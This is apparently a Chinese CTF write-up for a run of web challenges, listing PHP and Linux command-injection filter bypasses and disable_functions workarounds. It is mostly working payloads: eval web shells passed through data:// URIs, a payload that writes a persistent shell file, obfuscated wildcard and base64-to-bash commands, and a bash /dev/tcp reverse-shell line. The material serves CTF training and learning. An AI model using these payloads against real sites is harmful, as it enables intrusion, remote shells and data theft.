PHP

Web29

可以执行GET方法传入的参数c,但过滤了flag

可以用的函数作用
readfile()读取文件
highlight_file()读文件
show_source()同上
base64_decode()base64解码
strrev()反转字符串
payload:readfile("fl"."ag.php")

Web30

过滤system和php,可以用其他函数代替

system()
passthru()
exec()
shell_exec()
payload:echo `nl fla''g.php`;

Web31

过滤点号,用base64绕过

payload:?c=show_source(base64_decode("ZmxhZy5waHA="));

Web32

过滤单引号,括号,分号。结尾分号换成?>,过滤括号不能用函数,但是可以用include,然后POST方法再用data协议发一段代码读flag

?c=include$_POST[a]?>
POST:a=data:,<?php @readfile("flag.php"); ?>

Web33-36

这几题的过滤都是可以用上一题payload直接拿flag的

Web37

文件包含,过滤flag

?c=data:,<?php @eval($_POST['shell']); ?>
//url加这个可以直接用蚁剑连接
?c=data:text/plain,<?php @eval($_POST['shell']); ?>
//这个也可以
?c=data:text/base64,PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4=
//base64加密一下也行
?c=data:text/plain,<?php @fputs(fopen(base64_decode('ZWFzdGp1bi5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4='));?>
//写入eastjun.php,密码是shell,然后连接

Web38.39

上一题的payload随便挑一个

Web40

过滤的括号是中文的括号,然后字母没了,过滤冒号不能用伪协议

Hint中说到可以用这个读flag
show_source(next(array_reverse(scandir(pos(localeconv())))));
next()将数组中的内部指针向后移动一位
pos()返回数组中的当前元素
array_reverse()数组逆序
localeconv() 函数返回一包含本地数字及货币格式信息的数组
pos(localeconv())就可以拿到一个点

Web41

>_<不会了,附上这里的wp

Linux部分

Web42

在输入的命令后面加了 >/dev/null 2>&1进行重定向,用分隔符将命令分隔开

“;”按顺序执行,”&&”按顺序执行,||”首个命令执行成功后不会执行后面的命令,换行符(换行符在GET方法中输入%0a,&在GET方法中输入%26)

payload:cat flag.php;

Web43

过滤cat和分号,可以用ca\t绕过,分隔符再去第一题找一个就行了

还可以用单引号和双引号ca”t,ca””t

cat可以用一些其他的操作进行替换

tac、tail、head、nl、base64、more、less、sort、uniq、od、vi、vim、strings
命令作用
tac从最后一行开始读取
head读取前几行,默认10行,指定参数-n为n行
tail读取后几行,默认10行,指定参数-n为n行
nl输出加上行号
base64以base64输出
more逐页读取,只能向后翻页
less逐页读取,可前后翻页
sort排序
uniq检查及删除文本文件中重复出现的行列
od以二进制读取
vi编辑器
vim也是编辑器,但是docker容器中一般是没有vim的
sed一种编辑器,可以用sed -f flag.php读取flag
strings在对象文件或二进制文件中查找可打印的字符串
paste把每个文件以列对列的方式,一列列地加以合并
grepgrep { flag.php打印有”{“的一行

Web44

还是可以用反斜杠绕过,

payload:tac fla\g.php||

通配符匹配文件名,下面是linux常见通配符(和正则表达式不一样)

通配符原理
*匹配任意长度任意字符
?匹配任意单个字符
[list]匹配列表中的东西
[!list]或[^list]匹配列表外的东西
{str1,str2,…}匹配str1,str2或更多其他的字符串

Web45

过滤”/\;|cat|flag| /i”,空格也过滤了,找找可以代替空格的东西

%09,%20,$IFS、${IFS}、$IFS$9,{tac,*},<,<>

Web46

多过滤了$和*,用%09代替空格,然后上面找一个通配符

payload:?c=tac%09fl[a-z]g.php||

Web47

多过滤了一点文件操作的命令,用上一题payload直接拿flag

Web48

上一题的payload直接拿flag

Web49

过滤了百分号,但根本没用,php拿到get方法后%09就会变成空格,百分号是不存在的,前面的知识点去掉过滤的字符后随机组合一下就是可用的payload

Web50

随机组合。。。。。

payload:?c=tac<fla""g.php||

Web51

过滤tac,随机组合。。。

payload:?c=vi<fla""g.php||

Web52

过滤掉了<但是$给我们用了,用${IFS}代替空格,然后又把flag放在根目录了

payload:?c=vi${IFS}/fla""g||

Web53

随机组合一下

payload:?c=uniq${IFS}fla""g.php||

Web54

这次的过滤是按位置过滤的,通配符还是非常神奇的

?c=/bin/c?t${IFS}f???????

Web55

过滤字母,通配符读取匹配/bin/base64读取flag

payload:?c=/???/????64%20????.???

Web56

过滤字母数字,还是可以写通配符

payload:?c=/???/????[.-:][.-:]%20????.???

Web57

原理:

符号作用
${_}上一次命令执行的结果
$(())进行运算

然后又有$((“”))=0,对$((“”))取反即$((~$((“”))))为-1,37个-1相减得到-37,再取反得到36

image-20210308154716943
payload:?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

整理一下一些其他的linux shell的绕过

Base64绕过

echo "Y2F0IGZsYWcucGhw"|base64 -d|bash

Hex绕过

echo "63617420666C61672E706870" | xxd -r -p|bash
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")

拼接

b=ag;a=fl;cat $a$b

内联执行

cat `ls`

反弹shell

靶机:bash -i >& /dev/tcp/主机的ip/8888 0>&1
有公网ip的主机:nc -lvnp 8888 //监听8888端口

突破禁用函数

Web58

函数名功能
scandir()扫目录用的,返回数组
getcwd()返回当前目录
glob()包含匹配指定模式的文件名或目录的数组
dir()返回 Directory 类的实例
opendir打开目录句柄
姿势:
$a=opendir(getcwd());while ($file = readdir($a)){echo $file . "<br>"; };
$a=dir(getcwd());while ($file = $a->read()){echo $file . "<br>"; };
var_dump(glob("*flag*"));
print_r(scandir("."));
var_dump(scandir("glob://*flag*"));
$a=opendir(getcwd());foreach(range(0,10) as $i){print(readdir($a)."<br>");};
$a=dir(getcwd());foreach(range(0,10) as $i){print($a->read()."<br>");};
payload:c=show_source("flag.php")

Web59

函数名功能
readfile()读取文件
fpassthru()读取文件
file_get_contents()读文件
highlight_file()代码高亮
show_source()代码高亮
file()打开文件或url
fread($file,100)读取打开的文件,读取100个字节
fopen(“flag.php”,”r”)打开文件,读取
fseek()设置文件指针
gets()读取一行
getc()读取一个字符
fgetcsv()读取一行
姿势:
print(fread(fopen("flag.php","r"),1000));
c=$file=fopen("flag.php","r");while(!feof($file)){echo fgets($file)."<br>";}
//fgets()只能读一行,但是可以手动设置文件指针
$a=fopen("flag.php","r");fseek($a,224);var_dump(fgets($a));
$a=fopen("flag.php","r");foreach(range(0,10) as $i){print(fgets($a));}
$a=fopen("flag.php","r");foreach(range(0,300) as $i){print(fgetc($a));}
copy("flag.php","flag.txt");
rename("flag.php","flag.txt");

Web60

payload:$a=fopen("flag.php","r");foreach(range(0,300) as $i){print(fgetc($a));}

Web61-65

show_source(pos(glob("*flag*")));
show_source(next(array_reverse(scandir(getcwd()))));

Web66-70

//扫目录
$a=opendir("/");foreach(range(0,20) as $i){print(readdir($a)."<br>");};
//读取
include("/flag.txt")

Web71

执行之后返回输出缓冲区的内容,然后清空输出缓冲区,过滤[0-9][a-z]再输出

c=include("/flag.txt");exit(0);

Web72

//扫目录
$a=dir("glob:///*");while ($file = $a->read()){echo $file . "<br>"; };exit(0);
//读取
0.0不会

Web73-74

//扫目录
$a=dir("glob:///*");while ($file = $a->read()){echo $file . "<br>"; };exit(0);
//读取
include("/flagc.txt");exit(0);
说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...